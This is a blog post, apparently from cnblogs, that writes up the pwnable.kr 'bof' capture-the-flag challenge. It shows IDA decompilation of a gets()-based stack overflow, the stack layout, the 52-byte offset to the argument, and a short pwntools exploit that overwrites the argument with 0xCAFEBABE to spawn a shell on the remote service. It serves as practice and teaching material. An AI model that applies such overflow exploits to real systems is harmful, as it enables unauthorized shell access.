• pwnable.kr第三题bof


    Running at : nc pwnable.kr 9000

    IDA查看

     1 unsigned int __cdecl func(int a1)
     2 {
     3   char s; // [esp+1Ch] [ebp-2Ch]
     4   unsigned int v3; // [esp+3Ch] [ebp-Ch]
     5 
     6   v3 = __readgsdword(0x14u);
     7   puts("overflow me : ");
     8   gets(&s);//未对输入长度进行限制,存在栈溢出
     9   if ( a1 == 0xCAFEBABE )
    10     system("/bin/sh");
    11   else
    12     puts("Nah..");
    13   return __readgsdword(0x14u) ^ v3;
    14 }

    查看栈,

     1 -0000002C s               db ?
     2 -0000002B                 db ? ; undefined
     3 -0000002A                 db ? ; undefined
     4 -00000029                 db ? ; undefined
     5 -00000028                 db ? ; undefined
     6 -00000027                 db ? ; undefined
     7 -00000026                 db ? ; undefined
     8 -00000025                 db ? ; undefined
     9 -00000024                 db ? ; undefined
    10 -00000023                 db ? ; undefined
    11 -00000022                 db ? ; undefined
    12 -00000021                 db ? ; undefined
    13 -00000020                 db ? ; undefined
    14 -0000001F                 db ? ; undefined
    15 -0000001E                 db ? ; undefined
    16 -0000001D                 db ? ; undefined
    17 -0000001C                 db ? ; undefined
    18 -0000001B                 db ? ; undefined
    19 -0000001A                 db ? ; undefined
    20 -00000019                 db ? ; undefined
    21 -00000018                 db ? ; undefined
    22 -00000017                 db ? ; undefined
    23 -00000016                 db ? ; undefined
    24 -00000015                 db ? ; undefined
    25 -00000014                 db ? ; undefined
    26 -00000013                 db ? ; undefined
    27 -00000012                 db ? ; undefined
    28 -00000011                 db ? ; undefined
    29 -00000010                 db ? ; undefined
    30 -0000000F                 db ? ; undefined
    31 -0000000E                 db ? ; undefined
    32 -0000000D                 db ? ; undefined
    33 -0000000C var_C           dd ?
    34 -00000008                 db ? ; undefined
    35 -00000007                 db ? ; undefined
    36 -00000006                 db ? ; undefined
    37 -00000005                 db ? ; undefined
    38 -00000004                 db ? ; undefined
    39 -00000003                 db ? ; undefined
    40 -00000002                 db ? ; undefined
    41 -00000001                 db ? ; undefined
    42 +00000000  s              db 4 dup(?)
    43 +00000004  r              db 4 dup(?)
    44 +00000008 arg_0           dd ?
    45 +0000000C
    46 +0000000C ; end of stack variables

    0x2c+8 =0x34=52,来到arg_0的存储空间

    exp:

     1 from pwn import *
     2 
     3 r = remote('pwnable.kr','9000')
     4 
     5 buf = 52 * 'A'
     6 buf += p32(0xcafebabe)
     7 
     8 r.sendline(buf)
     9 
    10 r.interactive()
  • 相关阅读:
    面试题:面试题归类 已看1 背1
    面试题:SSH项目总结 !=!=未看 没用
    面试题: 大公司面试 !=!=未看
    Java 重写paint绘图
    c语言中数组的定义和java中数组定义的一些区别
    Java GUI界面补充总结(不定期补充)
    JFrame 的层次结构 及 背景设置说明
    为什么内部类调用的外部变量必须是final修饰的?
    Java Calendar类的使用总结【转】
    String类为什么可以直接赋值
  • 原文地址:https://www.cnblogs.com/DirWang/p/11242250.html
Copyright © 2020-2023  润新知